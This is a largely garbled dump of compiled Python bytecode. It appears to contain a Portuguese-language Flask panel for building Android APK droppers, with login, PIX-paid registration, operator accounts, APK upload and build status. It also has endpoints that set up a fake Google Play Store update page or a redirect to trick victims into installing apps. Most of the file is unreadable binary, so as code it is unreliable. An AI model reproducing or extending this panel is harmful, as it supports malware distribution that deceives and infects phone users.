O #%'',"7 	Ha ==!34 "Xt <I!)S78T /XY&'ffhG/&-ooj(&K&S&ST]_g&h&p&pqz  }E  'F)*5*=*=m^M_M_`hj~M  +AK*5*=*=>NP^PbPbcn  qL  QM  +NK*5*=*=lNL^L^_f  iM  MN  +OK"k1!%iw!G 51 ! 45	$ ww||L(IF("rww~~l'C-,g> *!!"J*'//	8D
!'++K<B!+!3!3M266+WgCh!iJ!+!3!3JxQV@W!XJ!+!3!3M266+W\C]!^J!+!3!3HbffVX>V!WJvvi(z7I7I+WYW]W]^gWh7i*vvi(z7I7I+WYW]W]^gWh7i*vvi(z7I7I+WYW]W]^gWh7i*#7G(H!.5 G#)#3#3AFFH#=#D#D#FG!+!3!3L(!KJ,g> (!GGJ'(
 -@R!PX-& 	 !vvxH	 ~~a+q%(2::b>9U;x#>??	<< "`a"\]"\]"^_"[\"\]"\]"[\"^_"^_#
& l+8Qxzz#hoo/01Ds8??+<d'CDD~~d+224~~d+224::bggll<$H\]im:n 	ECc31FQaffhF++6!L>8KLC++6!K=8JKCc31DQDD		E
 ggll<1GH77>>+&IIk"WW\\,9

J.ww||J9,% 	GGI	 NN4&NN4&NN3%

 L,7 	)HCbggll:s3T: )a

3() )	)
 	<(<(|,),7!,9,'|$\*lM: -="!MXww~~k*899V[#|TCTUdC
 ww~~/0NNFFK9NOY[\NNc<GXY#$E 77>>"34"6u||n EFF -<!LX*77>>,'NNtS*;=MN# ww~~./,.?@,;!LXWW\\#**_"=xH

J.ww~~j)788 VZ3DgzZdC

 	77>>*%ZZ
+ ::f% "Z ;I 25<<.ABB z&
)(34D9Irww||CJJ,GTU]]:T: -8SYc  vB  "CX(O[(KX{3HkU8*+=>XJ78"XF+F		
6 '6GIY[hi 	C77==%c(NWW^^C("))C.	 < 	CGGLLO!<
3%>PQ77>>!$biil	
	$$&y7 7	4 %..0 F0BC	  0 !D, ,`* *v' 'V* *  =6rd;<<=	ww~~n5n5 6," " $ $# #:! !+ +:- -  E<TFCDDE) )+ +  A7w?@@A) ) 1 1
  IA#GHHI$ XW VU UT SR NEdVLMMN$* ! 6/t4556&/ /5 5* *G G( ( -s+,,-	  	 D GF ED	 	) )P 	"  
F	xj9+67.4Ys^4DC,HVWbf!gX(OVXFXv.%o%6c:"XF)DS/UK		
 	

* D D 	 '6GIY[hi 	C77==%c(NWW^^C("))C.D		 < 	CGGLLO!<
3%>PQ77>>!$biilD		
	$$&sQ  5A%B` BS 1BSBS D=B` 	3BT6<AB` BT>6B` B` "BU4Y)B` BU/M&B` DBU2 ,BU%=ABU2 4BV C/B` @6BW!A=B` BBW.BA%B` C;BW;DB-B` F9BXGB` G-BX/ HBXHABX/ IBX"I'=BX/ J%-BY. KBYK#8BY. LBY!L-/BY. M-BZ- N
BZNABZ- O BZ O2BZ- PA?B\ RB[R"AB\ S.B[T A*B\ U*B[,U;AB\ WB[9WB\ W/AB` X1A9B\+ Z*B` Z8CB\3 ^B:B` aAB] bB] b/4B` c$ B` dB]:dB] d%B5B]:gB]-g,B]:g4AB` iB^) iB^i!E>B^) o.B^p(B^) p5B^qB^) qB` q'B_q8FB` xB_xAB` y B_(y2CB` |3B_5}BB` 
%B`/KB` KBB` MB` M0AB` OA+Bb$QA)Bb,R0Bb4 SBSS
BS SBT3S*BT$S?BTTBT$TBT	TBT$T	BT3T$BT-	T)BT3T0B` T6BT;T8B` T>BU	UB` UBU	UB` UBU"UB` U%BU/U*BU2 U2	BVU;BVV	BV VBVVBV VBVVB` VBWV!4BWWBWWBWWBWWB` W!BW+W&B` W.BW8W3B` W;BXX B` XBXXB` XBXXBX/ X"BX,X'BX/ X/	BYX8BYYB` YBYYB` YBYYBY. Y!BY+Y&BY. Y.	BZY7BZZB` ZBZZB` ZBZZBZ- Z BZ*Z%BZ- Z-	B[Z6B[
[B` [
B[[B` [B[[B\ [B[)[$B\ [,B[6[1B\ [9B\[>B\ \	B\(\B\#\B` \#B\(\(B` \+B\0\-B` \3	B]\<B]]
B` ]B]]B` ]B]]B` ] B]*]%B]:]-B]7]2B]:]:B]?]<B` ^B^^B^) ^B^^B^) ^B^&^!B^) ^)	B_^2B__ B` _B__B` _B__B` _B_%	_ B` _(B_2	_-B` _5B_?_:B` `B`	`B` `B``B` `	Bb!` A6BbbBb; bBb!b!Bb; b$Bb)b,Bb1b4Bb8b;BgcA+Bd3d2Bgd3Bd7	d5BgeA)Bf,f+Bgf,Bf0	f.Bgf5Bg
g	Bgg
BggBgz/check-sessionc                  v   dt         v r$t               } | d   j                  t         d   i       }|s!t        j                          t	        ddi      S t        j                  dd      |j                  dd      k7  r#t        j                          t	        dddd	      S t        |      r"t        j                          t	        ddd
      S dt         vrt        j                  d      t         d<   t	        dt         d   |j                  dd      |j                  d      t         d   d      S t	        ddi      S )Nr  rZ  	logged_inFsession_versionr   Tpassword_changed)r(  expiredreason)r(  r+  
csrf_tokenr  rH  r  rL  )r(  r  rH  rL  r-  )r   rh  r  clearr   r{  r   token_urlsafer  r  s     rJ   check_sessionr1  V	  s   W{G}  !4b9MMOK/00;;(!,9JA0NNMMO4K]^__4 MMO4@AAw&$+$9$9"$=GL!
+HHVZ0"&((+?"@!,/
  	 K'((rI   r  c                     dt         v rut               } | d   j                  t         d   i       }t        |      rt        j                          t        d      S t        dt         d   |j                  dd            S t        d      S )Nr  rZ  z
index.htmlrH  r  )r  rH  )r   rh  r  r{  r.  r   r0  s     rJ   indexr3  q	  st    W{G}  !4b94 MMO"<00|'*2EDHHU[]gLhii<((rI   /loginr  )methodsc            
         t               } t        |       r"t        dd|  dd       t        ddd      d	fS t	        j
                  d
d
      }t        |t              st        ddd      dfS |j                  d      |j                  d      }}t        |t              rt        |t              st        ddd      dfS |d d }t        |j                  dd      |       st        ddd      dfS t               }||d   v r:t        |d   |   d   |      r$t        |d   |         rt        ddd      dfS |d   |   d   }|j                  d      s0|j                  d      st        |      |d   |   d<   t!        |       d
t"        _        |t"        d<   |d   |   j                  dd      t"        d<   |d   |   j                  dd      t"        d<   t'        j(                  d      t"        d<   t+        |dd |         t        d!d"| d#d$d%t"        d   d
d&d'| d
d&g(       t        d
t"        d   d)      S t-        |        t        d*d+| d,d-d'| d
d&g(       t        dd.d      d/fS )0NzALERTA DE SEGURANCAzIP **z0** bloqueado por excesso de tentativas de login. r*  F%Muitas tentativas. Aguarde 5 minutos.r
  message  TforcesilentDados invalidos  r  r   @   	turnstilerX   4   Verificação de segurança falhou. Tente novamente.rZ  Licenca expirada  rr  rs  rH  r  r)  r   r  r-  LoginzIP: LOGIN
Usuario **z** fez login no painel.fc Cargor  IPr9  )r
  rH  zLOGIN FALHOUz#Tentativa de login invalida para **r  r  	Incorreto  )r  r  r=  r   r   get_json
isinstancerd  r  r_   r  rh  rv  r{  rM  r   rp  r   	permanentr   r/  r  r  )r  r  rv  r  dbrt  s         rJ   loginrS  |	  s   	Br!B4GH	

 55\]^`ccc$t4DdD!55FGH#MM88J*!5qAaZ3%755FGH#MM	#2ATXXk26;55klmorrr	BBwKOBwKN:,FJ2g;q>*u9KLMsRR GQ
+!!),0A0A)0L)?)BBwKN:&bM 
W+a.,,VZ@%'[^%7%78I1%M!" ' 5 5b 9Aw$rd,23 76?dKd;		
 4ABB
-aS4d;<	 u=>CCrI   /logoutc                      dt         v rt        t         d   dd       t        j                          t        t	        d            S )Nr  LogoutSaidar3  )r   r  r.  r	   r
   rH   rI   rJ   logoutrX  	  s4    WGJ'7;MMOGG$%%rI   /api/registerc                     t               } t        |       r(t        dd|  ddd| ddg       t        d	d
d      dfS t	        j
                  dd      }t        |t              st        d	dd      dfS t        |j                  dd            j                         j                         d d }t        |j                  dd            j                         d d }t        |j                  dd            }|r
|r|t        vrt        d	dd      dfS t        |j                  dd      |       st        d	dd      dfS t        |      dk  rt        d	dd      dfS t        |        t!               }|d   j#                         D ])  }|j                  dd      |k(  st        d	dd      dfc S  |d   j                  di       }|j                  d      r"|j                  d      r|j                  d       st        d	d!d      d"fS t        |   }t        t%        j&                               }	d#|vr|d$z   }t)               }
t+               }t-               }|
|||d%}	 t/        |d&   d'|d(    |	||)      }||
t3        |      ||d-   |d.   t5        j6                         j9                         t5        j6                         t;        d/0      z   j9                         d1|d2   |	<   t=        |       d3|d&   d4z  d5j?                  d6d7      }t        d8d9d:d;|ddd<|d(   ddd=|ddd>|d.   d	dg       t        d|	|d?   |d@   |d(   |dA      S # t0        $ r)}t        d	d*t        |      d d+  d      d,fcY d }~S d }~ww xY w)BNzRATE LIMIT - REGISTROzIP **`z/`** atingiu o limite de tentativas de registro.r7  rL  Tr  r9  Fr9  r:  r<  r=  r@  rA  rI  rX   r  r      planrC  rD  r   z'Senha muito curta (minimo 6 caracteres)rZ  zEmail ja cadastrador^  rY  rU  rR  rS  z?Gateway de pagamento nao configurado. Contacte o administrador.  @z@usuario.local)rX  cpfrI  phoner  zBYPASS - Plano r  )r  zErro ao gerar PIX:    r  r  r  r,  hours)rI  rX  password_hashr\  	plan_daysr  rJ  r  r[  zR$ r  z.2fr|   ,z
PIX GERADOzNovo PIX criado para registro.; EmailPlanoValorz	Charge IDr   r  )r
  reg_idr   r  
plan_labelr  ) r  r  r=  r   r   rO  rP  rd  r_   r  r  r  PLAN_PRICESr  r  r  rh  valuesuuiduuid4rK   re   rt   r  r   r   r   ra  r.  r   rp  rN  )r  r  rI  r   r\  rR  udatagw	plan_infork  rX  r_  r`  r  pixr  
amount_fmts                    rJ   api_registerrv  	  s   	B2#RDGH!B$?@		
 55\]^`ccc$t4DdD!55FGH#MM488GR()//1779$3?E488J+,224Tc:H488FB'(DD$;55FGH#MMTXXk26;55klmorrr
8}q55^_`beeeB	BG##% V99Wb!U*u9NOPRUUUV 
J		Ir	*B66)BFF;$7rvvo?V55vwxz}}}D!IF
%((KDJCLEeeLK	agi012#
 /9v&%lln..0||~	(::EEG	+B' bMy)#-c23;;CEJ
(u=y'9TJzTB 3{+;uM	
	
 ./,'(  9  a57J3q6RVSV<.5YZ[]```as   M 	N M;5N ;N >   godmodinfor  sudotestr  r?  rA  stafftestemasterrJ  supportr  sysadmin	moderator	superuser	webmasteradministratorc                    |d   }t        j                  dd|j                  d      d         dd xs t        j                  dd|      dd xs dt        fd	t        D              r}t        j                  dd|j                  d      d
   j                  d      d         dd }|xs ddz   t        j                  dd|j                  d      d         dd z   dd xs d}d}|d   v r| | |dz  }|d   v r|d   |dt        j                         j                         |d   t        j                         t        |d         z   j                         dg dddddd
|d   <   |d   | = t        |       t        ddd d|d    d       t        dd d!d"d#d$d%|d#d$d&|d    dd#d$g'       S )(zDCreate user from paid registration. Must be called inside _reg_lock.rI  [^a-zA-Z0-9_]rX   r^  r   Nr2  r  c              3      K   | ]8  }j                         |k(  xs j                         j                  |       : y wr  )r  rM  )rQ   r0  r  s     rJ   rT   z)_activate_registration.<locals>.<genexpr>'
  s7     
`q8>>q BHNN$4$?$?$BB
`s   >Ar|   rO   usrr`   usr_1r,  rZ  rd  r  re  r  rB  rC  )
r   rI  rH  rJ  rK  rL  rM  rN  rO  rP  r[  rJ  zNovo Cadastro	Usuario: z
 | Plano:  diaszNOVO CADASTROzNova conta criada via PIX.r  r  Tr  rh  ri  r9  )r|  r  r  rX  _RESERVED_USERNAMESr   ra  r.  r   rp  r  r=  )rk  regrR  rI  domain_partr  counterr  s          @rJ   _activate_registrationr  "
  s   LEvv&EKK,<Q,?@"E{P`bdfkIlmpnpIq{u{H

`L_
``ff-r5;;s3CB3G3M3Mc3RST3UVWZXZ[(5C/"&&9I2u{{[^O_`aOb2cdgeg2hhCR=+GDG
bk
!VG9%1 bk
! (lln..0K('||~	s;?O0PP[[]*+!VWXBwK 	"#F+bM/Yxj
3{K[J\\a+bc
$TBu=#k*:);5'ATR
		 OrI   z/api/pix/status/<reg_id>c                    t        j                  dd|       d d } t               }|j                  di       j                  |       }|st	        ddi      dfS 	 t        j                         t        j                  |d         kD  rKt        5  t               }| |j                  di       v r|d   | = t        |       d d d        t	        dd	i      S 	 |j                  d
      rt	        ddi      S |d   j                  di       }t        |j                  dd      |      }|dk(  rt	        dd	i      S |dk(  rt        5  t               }|j                  di       j                  |       }|r|j                  d
      rt	        ddi      cd d d        S d|d   |    d
<   t        |       t        | ||      }d d d        t	        dd      S t	        ddi      S # 1 sw Y   xY w#  Y xY w# 1 sw Y   9xY w)Nz[^a-zA-Z0-9\-]rX   (   r[  rM  	not_found  r  r+  user_createdr  r^  rY  r  r  r
  T)rM  r  )r|  r  rh  r  r   r   ra  ry  	_reg_lockrp  r  r  )rk  rR  r  db2rr  
api_statusreg2r  s           rJ   
pix_statusr  K
  s   VV%r623B7F	B
&&("
-
1
1&
9C+./44	<<>H223|3DEE #kSWW%<bAA34V<cN	#
 Hi011 F ww~),--	J		Ir	*B!#''+r":B?JX),--V 	A+C772B7;;FCD488N3)45		A 	A
 DHC'(0@cN-fdC@H	A &h?@@Hi());# #	A 	As7   3G% 0G;G% =AG-#G-G"G% %G*-G6z/admin/gateway-settingsGETc                     dt         vrt        i       dfS t               } | d   j                  t         d   i       j                  d      dk7  rt        i       dfS | d   j                  di       }t        |j                  d	d
      |j                  dd
      |j                  d      rdnd
|j                  dd      t	        |j                  d            d      S )Nr  rN  rZ  rH  rA  rF  r^  rY  rQ  rX   rR  rS  ***rU  F)rQ  rR  rS  rU  client_secret_set)r   r   rh  r  r  )rR  rr  s     rJ   get_gateway_settingsr  u
  s     r{C	B	'{wz*B/33F;wFr{C	J		Ir	*BFF:r*VVK,"$&&"9r66)U+!"&&"9:  rI   c            	         dt         vrt        ddi      dfS t               } | d   j                  t         d   i       j                  d      dk7  rt        ddd	      d
fS t	        j
                  dd      }t        |t              st        ddi      dfS | d   j                  di       }t        |j                  dd            j                  d      d d |d<   t        |j                  dd            |d<   t        |j                  dd            d d |d<   |j                  d      r5|j                  d      dk7  r!t        |j                  dd            d d |d<   t        j                          || d   d<   t        |        t        t         d   dd|d    d|d           t        ddt         d    dd !       t        ddi      S )"Nr  r
  FrN  rZ  rH  rA  Sem permissaor:  rF  Tr=  rA  r^  rY  rQ  rX   r  r   rU  rR  r$  rS  r  r  zConfig Gatewayz
Base URL: z
 | Ativo: zCONFIG GATEWAYz)Credenciais do gateway atualizadas por **r  r7  r8  )r   r   rh  r  r   rO  rP  rd  r_   r  r  r  r.  rp  r  r=  )rR  r  rr  s      rJ   save_gateway_settingsr  
  s    	5)*C//	B	'{wz*B/33F;wF5_EFKK$t4DdD!	5)*C//	J		Ir	*B*b1299#>tDBzN$((9e45ByM$((;34Tc:B{Oxx TXXo%>%%G!$((?B"?@#F?  "BzN9bM
#%5BzNCSS]^`aj^k]l7mn
3GJ4G3HL
 It$%%rI   z/admin/gateway-testc                     dt         vrt        ddi      dfS t               } | d   j                  t         d   i       j                  d      dk7  rt        ddd	      d
fS | d   j                  di       }|j                  d      r"|j                  d      r|j                  d      st        ddd	      S 	 t	        |      }|rt        ddi      S t        ddd	      S # t
        $ r$}t        dt        |      d d d	      cY d }~S d }~ww xY w)Nr  r
  FrN  rZ  rH  rA  r  r:  rF  r^  rY  rQ  rR  rS  z=Preencha Base URL, Client ID e Client Secret antes de testar.TzToken vazio na resposta.r$  )r   r   rh  r  r  r   r_   )rR  rr  r  r  s       rJ   test_gatewayr  
  s    	5)*C//	B	'{wz*B/33F;wF5_EFKK	J		Ir	*B66*RVVK%8@W55tuvvD"2&It,--55OPQQ D5SVDS\BCCDs$   7C C 	D(DDDz/api/maintenance-statusc                  t    t               } | j                  di       j                  di       }t        d|i      S )Nr^  maintenance_modes)rh  r  r   )r   modess     rJ   api_maintenance_statusr  
  s8    AEE*b!%%&92>E'/00rI   z/admin/maintenancec                  Z   dt         vrt        ddi      dfS t               } | d   j                  t         d   i       }|j                  d      dk7  rt        ddi      d	fS t	        j
                         xs i }|j                  d
d      }t        |j                  dd            }|dvrt        ddi      dfS d| vri | d<   d| d   vri | d   d<   || d   d   |<   t        |        |rdnd}t        d|j                          d| dt         d    d|rdnd       t        d||d      S )Nr  r  rG  rN  rZ  rH  rA  r  rF  moderX   rB  F)padraor0  r	   zModo invalidorA  r^  r  ativada
desativadazMANUTENCAO zModo **z ** colocado em manutencao por **r  r7  r  r8  T)r
  r  rB  )
r   r   rh  r  r   rO  r  rp  r=  upper)r   rv  r  r  rB  rM  s         rJ   admin_set_maintenancer  
  sW    )*C//A	'
wz*B/AuuV}12C77 &BG[[$D'++h./F6612C77*!J-/-/*)*/5AjM%&t,aL YlF
flln%&
$7
8K7LCP hh
 tTVDEErI   z/uploadc                  f   dt         vrt        ddi      dfS t               } | d   j                  t         d   i       }t	        |      rt        ddi      dfS t
        j                  j                  d      }|r|j                  j                  d	      sdt               }t        d
dt        j                  dd       ddd|dddt        |r|j                  nd      d d ddg       t        ddi      dfS t        t
        j                  j                  dd            d d }dt        j                         j                  d d z   }t         j"                  j%                  t&        j(                  d   | d      }|j+                  |       d }t
        j                  j                  d      }|rQ|j                  rEt         j"                  j%                  t&        j(                  d   | d       }|j+                  |       t               }	|	d   j                  t         d   i       }
|
j                  d!i       }|
j                  d"i       |d#<   t
        j                  j                  d$d%      }|d&vrd%}t               }|j                  d'i       j                  d(i       }|j                  |d)      rt        dd*i      d+fS t
        j                  j                  d,d-      d.k(  }d }|d/k(  rmt
        j                  j                  d0d1      }|r|j-                         st        dd2i      dfS t/        |j1                  d3            d4kD  rt        dd5i      dfS d }|d6k(  rt
        j                  j                  d7d1      xs d1j-                         }|st        dd8i      dfS t/        |      d9kD  rt        dd:i      dfS |j3                         j5                  d;      sd<|z   }t7        j8                  t:        |||t         d   ||||||f
=      }d|_        |j?                          t        d>|i      S )?Nr  r  rG  rN  rZ  rE  rF  r  r  zUPLOAD INVALIDOrI  ?z*** tentou fazer upload de arquivo nao-APK.r7  rL  Tr  Arquivonenhumr|  r9  zArquivo invalidorA  r  r   rB  r:  r   r  z	_orig.apkiconr  r  playstore_configr0  r  r  )r  r0  r2  r3  r	   r^  r  Fz-Modo em manutencao. Tente novamente em breve.r]  r  01r3  r  rX   zHTML personalizado vazior1  i   z+HTML personalizado muito grande (max 200KB)r	   r  zRedirect URL vaziar   z#Redirect URL muito longa (max 2048))zhttp://https://r  )r  argsr  ) r   r   rh  r  r{  r   r*  filenamerK  r  r=  r_   formro  rp  hexr   r   r]   r  r  r  r  r  r  r  rM  	threadingThreadr&  r7  start)r  r  r  r  r  safe_idfilepath	icon_path	icon_filedb_cfgrz  dropper_cfgr  	_mnt_data
_mnt_modesr  r  r  threads                      rJ   
upload_apkr  
  s    )*C//;D=WZ0"5Dt!345s::==V$Dt}}--f5_Z566`ad;"S$H-UVYWY-Zfjk		
 !345s::7<<##J67<HDJJL$$Sb))Gww||CJJ7G9I9NOHIIhI!!&)IY''GGLLO!<	>ST	y![Fw##GJ$7<I-- 0"5K(}}-?DK,,""=(;KQQIz2.223FKJ~~k5)!PQRTWWW  c2c9IKhll&&}b9+"3"3"5G%?@A3FF{!!'*+j8G%RSTVYYYLj ((<BIIKG%9:;S@@|t#G%JKLcQQ!!#../FG%4Lx7:+>	;Xcenp{  ~J  KF FM
LLNJ())rI   z/operator/dropper-configc                      dt         vrt        i       dfS t               } | d   j                  t         d   i       }dddd}t        |j                  d|            S )	Nr  rN  rZ  r^  ra  r  r]  r`  rc  r  r   r   rh  r  )rR  r  default_configs      rJ   get_dropper_configr  $  sb     r{C	Bg;??7:.3D&05N
 488,n=>>rI   c                     dt         vrt        ddi      dfS t        j                  dd      } t	        | t
              st        ddi      dfS t               }t         d   |d   vrt        ddi      d	fS t        | j                  d
d            d d t        | j                  dd            d d t        | j                  dd            d d d}||d   t         d      d<   t        |       t        t         d   dd       t        ddi      S )Nr  r
  FrN  Tr=  rA  rZ  r  r]  r^  r  r`  ra  r|  rc  r  r  r  zConfig DropperzTextos personalizados)r   r   r   rO  rP  rd  rh  r_   r  rp  r  )r  rR  r  s      rJ   save_dropper_configr  1  s    	5)*C//$t4DdD!	5)*C//	Bz"W+-	5)*C//dhhx)=>?D+/JKLSbQTXXg'KLMcrRF
 :@BwK
#$%56bM
#%57NOIt$%%rI   z/operator/playstore-previewc                     dt         vry	 t        j                  j                  t        dd      } t        | dd      5 }|j                         }d d d        t        j                  j                  dd	      d d
 }t        j                  j                  dd      d d
 }t        j                  j                  dd      d d }t        j                  j                  dd      d d }t        j                  j                  dd      d d }t        j                  j                  dd      d d }t        j                  j                  dd      d d }	t        j                  j                  dd      d d }
t        j                  j                  dd      d d }j                  d|      }|j                  d |      }|j                  d!|      }|j                  d"|      }|j                  d#|      }|j                  d$|      }|j                  d%|	      }|j                  d&|
      }|j                  d'|      }|j                  d(d)      }|dd*d+d,fS # 1 sw Y   xY w# t        $ r}d-| d.d/fcY d }~S d }~ww xY w)0Nr  )UnauthorizedrN  r  r1  r0  r1  r7  rX  r   r  pubrg  ri  rj  r  rl  rm  r2  ro  rp  c1zPerformance improvementsr$  c2z	Bug fixesc3zSecurity improvementslngr  r  rd  re  rh  rk  rn  rr  rt  rv  z[LNG]rw  rX   ztext/html; charset=utf-8
SAMEORIGIN)r  zX-Frame-OptionszJ<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: z</body></html>r  )r   r   r   r]   r  rP  rQ  r   r  r  rN  r   )up_pathrh  htmlrX  r  ri  rl  ro  r  r  r  r  r  s                rJ   playstore_previewr  F  s?    "s'',,0(IF'31 	Q668D	LL$$VU3CR8LL$$U,<=crBLL$$Xu5bq9LL$$[%8"=	LL$$VX6s;LL$$T+EFtLLL$$T;7=LL$$T+BCDSILL$$UD1"15||It,||M3/||J/||M95||Hd+||K,||K,||K,||GS)||L"-S+EZfggg+	 	,  s[\][^^lmorrrss5   3I IG>I II 	I6$I1+I61I6z/operator/playstore-configc                  
   dt         vrt        i       dfS t               } | d   j                  t         d   i       }dddddddd	}|j                  d
i       }|j	                         D ]  \  }}||vs|||<    t        |      S )Nr  rN  rZ  rg  rj  rm  rp  rX   rf  ri  rl  ro  rq  rs  ru  r  )r   r   rh  r  rL  )rR  r  
default_psr  rz   rv   s         rJ   get_playstore_configr  e  s     r{C	Bg;??7:.3D%URB2J HH',E  " 1E>E!H 5>rI   c                     dt         vrt        ddi      dfS t        j                  dd      xs i } t	        | t
              st        ddi      dfS t               }t         d   |d   vrt        ddi      d	fS t        | j                  d
d            d d t        | j                  dd            d d t        | j                  dd            d d t        | j                  dd            d d t        | j                  dd            d d t        | j                  dd            d d t        | j                  dd            d d d}||d   t         d      d<   t        |       t        ddi      S )Nr  r
  FrN  Tr=  rA  rZ  r  rf  rg  r  ri  rj  r  rl  rm  r2  ro  rp  rq  rX   r$  rs  ru  r  r  )
r   r   r   rO  rP  rd  rh  r_   r  rp  )r  rR  cfgs      rJ   save_playstore_configr  u  sr    	5)*C//$t4:DdD!	5)*C//	Bz"W+-	5)*C//+/?@A#2Fdhhx/0!4+u56s;DHHVX./4txx	2./5txx	2./5txx	2./5C <?BwK
#$%78bMIt$%%rI   z/status/<build_id>c           	         	
 t        j                  dd|       d d } dt        vrt        ddd      dfS t        d   
t	               }|d	   j                  
i       j                  d
d      |d	   j                  
i       j                  d      		
fd}| t        v r|d	   j                         D ]c  \  }}|j                  dg       D ]I  }|j                  d      | k(  s |||      rt        t        |          c c S t        ddd      dfc c S  e t        t        |          S |d	   j                         D ]  \  }}|j                  dg       D ]  }|j                  d      | k(  s |||      st        ddd      dfc c S |j                  d      dk(  r7|  d}t        |j                  dd             d}t        dd||d      c c S |j                  d      dk(  st        dddd      c c S   t        ddd      S )Nr  rX   r1  r  Desconhecidor   r*  rN  rZ  rH  r  rO  c                 R    dk(  ry| k(  rydk(  r|j                  d      k(  ryyNrA  Tr?  rO  Fr  owner_unameowner_udatar  current_teamr  s     rJ   _can_seezstatus.<locals>._can_see  7    7",&7"{y'A\'QrI   rN  r  rF  rM  r  r  r  r  r  r  r  r  Tr  )	r|  r  r   r   rh  r  r  rL  r   )r  rR  r  unamerq  r  r#  r  r  r  r  s           @@@rJ   rM  rM    s-   vv&H5cr:H .a@A3FF:&L	Bg;??<488LLg;??<488CL <wK--/ 	SLE58R0 S99Z(H4u-&|H'=>>"n!#LMsRR	S	S |H-.. 7))+ 
UuYYx, 		UEyy$0u-"n!#LMsRR99X&+5$,:T!2J&5eii
B6O&P%QQU#VL"ks[e  xD  $E  F  FYYx(F2"f!d#STT		U
U n!<==rI   z/download/<build_id>c           	        
 dt         vrt        t        d            S t        j                  dd|       d d } t         d   t               }|d   j                  i       j                  dd      
|d   j                  i       j                  d	      
fd
}t        j                  |       }|s|d   j                         D ]  \  }}|j                  dg       D ]  }|j                  d      | k(  s|j                  d      dk(  s- |||      st        ddi      dfc c S |  d}t        |j                  dd             d}t        j                  j                  t        j                  d   |      }	t        j                  j!                  |	      rt#        |	d|      c c S    t        ddi      dfS |d   j                         D ]N  \  }}|j                  dg       D ]4  }|j                  d      | k(  s |||      st        ddi      dfc c S  N P |j                  d      dk(  r|j                  d      rtt        j                  j                  t        j                  d   |d         }	t        j                  j!                  |	      r!t#        |	d|j                  d|d               S t        ddi      dfS )Nr  r3  r  rX   r1  rZ  rH  r  rO  c                 R    dk(  ry| k(  rydk(  r|j                  d      k(  ryyr  r  r  s     rJ   _can_downloadzdownload.<locals>._can_download  r  rI   rN  r  rM  r  r  r  rF  r  r  r  Tas_attachmentdownload_nameArquivo nao disponivelr  r+  r  r  r  )r   r	   r
   r|  r  rh  r  r  rL  r   r   r   r   r]   r  r  r   r   )r  rR  r  status_infor  rq  r  r#  r  r  r  r  r  s             @@@rJ   downloadr    s    ())vv&H5cr:H:&L	Bg;??<488LLg;??<488CL ""8,KwK--/ 
	LE58R0 	99Z(H489LP[9[(6&'ABCGG$,:T!2J&5eii
B6O&P%QQU#VL "SZZ-H* UIww~~i0($Vbcc	
	 !9:;S@@ 7))+ uYYx, 	Eyy$0$UE2"G_#=>CC		 z"c)koom.LGGLLO!<k->XY	77>>)$Yd+//Zhju  wD  kE  KF  G  GG567<<rI   z/user/buildsc                     dt         vrt        g       dfS t               } | d   j                  t         d   i       }|j                  dg       }t        j                  d      dk(  r|j                  d      }g }| d   j	                         D ]P  \  }}|j                  d      |k(  s|j                  d      dk(  s0|j                  |j                  dg              R t        |      S t        j                  d      d	k(  rIg }| d   j	                         D ]&  \  }}|j                  |j                  dg              ( t        |      S t        |      S )
Nr  rN  rZ  rN  rH  r?  rO  r  rA  )r   r   rh  r  rL  rg  )r  r  rN  rO  
all_buildsr  rq  s          rJ   user_buildsr    s:    r{C;D=WZ0"5DXXh#F{{6g%((9%
 M//1 	;LE5yy#w.599V3D
3R!!%))Hb"9:	; z""{{6g%
 M//1 	7LE5eii"56	7z""6?rI   z/user/profilec                  J   dt         vrt        i       dfS t               } | d   j                  t         d   i       }t        t         d   |j                  d      |j                  d      |j                  d      |j                  ddddd	      |j                  d
      d      S )Nr  rN  rZ  rH  rM  rL  rP  r   rC  rJ  )r  rH  rM  rL  rP  rJ  r  r0  s     rJ   user_profiler    s     r{C;D=WZ0"5DJ' ((8$"hh';</A\]pq3rshh|,  rI   z/admin/usersc                     dt         vrt        g       dfS t               } t         d   }| d   j                  |i       j                  d      }|dk(  rg }| d   j	                         D ]  \  }}|j                  ||j                  d      |j                  d      |j                  d      |j                  d      t        d	 |j                  d
g       D              |j                  di       d        t        |      S |dk(  r| d   |   j                  d      }g }| d   j	                         D ]  \  }}|j                  d      |k(  s|j                  d      dk(  s0|j                  ||j                  d      |j                  d      |j                  d      |j                  d      t        d |j                  d
g       D              |j                  di       d        t        |      S t        g       S )Nr  rN  rZ  rH  rA  rM  rL  rK  c              3   J   K   | ]  }|j                  d       dk(  sd  ywrM  r  r,  Nr  rQ   r:  s     rJ   rT   zadmin_users.<locals>.<genexpr>  s>       ORUVtutyty  {C  uD  FQ  uQq  OR   ##rN  rP  )r  rH  rM  rL  rK  builds_countrP  r?  rO  r  c              3   J   K   | ]  }|j                  d       dk(  sd  ywr   r  r  s     rJ   rT   zadmin_users.<locals>.<genexpr>'  s?       SVYZxyx}x}  G  yH  JU  yUST  SVr  )r   r   rh  r  rL  r\   r[   )r  r  r  
users_listr  rq  rO  s          rJ   admin_usersr    s    r{C;D:&L=$$\26::6BLw
 M//1 	LE5!599V+<))H-UYYOcEd %		. 93  ORZ_ZcZcdlmoZp  OR  LR!&?B!?	 	 z""ww--11)<
 M//1 	LE5yy#w.599V3D
3R!! %uyy/@#ii1SgIh$)IIn$=s  SV^c^g^ghpqs^t  SV  PV%*YY%C	# 	 z""2;rI   z/admin/create-userc                     dt         vrt        ddd      dfS t        j                  dd      xs i } t	        | t
              st        ddd      d	fS | j                  d      }| j                  d
      }t	        |t              rt	        |t              st        ddd      d	fS |d d }| j                  dd      }| j                  dd      }t               }t         d   }|d   j                  |i       j                  d      }||d   v rt        ddd      d	fS |dk(  rN|dvrt        ddd      d	fS |dk(  rt        t        j                               n|d   |   j                  d      }n/|dk(  rd}|d   |   j                  d      }nt        ddd      dfS |r/t        j                         t        |      z   j                         nd }	t        |      |dt        j                         j                         ||	dg |ddddd
|d   |<   t!        |       t#        |dd | d!| d"| d#       t%        d$d%| d&d'd(|dd)d*|dd)d+| d,dd)g-       t        d|j'                          d.d      S )/Nr  FrG  r:  rN  Tr=  r@  rA  r   rB  rH  r  rK  r   rZ  zUsuario ja existerA  )r?  r  zRole invalidar?  rO  r  rF  r  rX   rB  r   rC  rG  zCriar UsuariozNovo r    ( dias)zUSUARIO CRIADOAdmin **z** criou um novo usuario.rg  zNovo usuarior  rK  Licencar  r9  z criado com sucesso)r   r   r   rO  rP  rd  r  r_   rh  ro  rp  r   ra  r   r.  r   rp  r  r=  
capitalize)
